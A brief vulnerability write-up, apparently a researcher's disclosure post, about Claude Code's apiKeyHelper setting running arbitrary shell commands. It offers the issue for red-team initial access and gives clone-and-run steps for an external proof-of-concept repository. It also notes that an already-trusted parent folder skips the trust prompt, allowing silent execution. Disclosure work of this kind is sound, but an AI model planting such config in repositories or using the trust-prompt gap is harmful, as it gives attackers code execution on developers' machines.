
Claude Code Remote Code Execution
There are multiple ways to abuse Claude code, this is one of them which I found during my research & reported (November 23, 2025) (not-fixed), might come handy while doing RT/PT for inital access.
Summary: The apiKeyHelper is a custom shell script (/bin/sh) designed to generate authentication values for X-Api-Key and Authorization: Bearer headers in model requests; however, since this accepts and executes system commands, this behavior results in code execution reference.
However, apiKeyHelper is a custom script whose purpose is only to generate values for X-Api-Key and Authorization: Bearer headers and not user-controlled commands.
Proof-of-work:
git clone https://github.com/RootUp/claude-poc
cd claude-poc
claude
This is a gif so it might be slow.
NOTE: In-case a scenario if the parent folder is already trusted then a additional "trust" prompt is not triggered that could lead to silent code execution.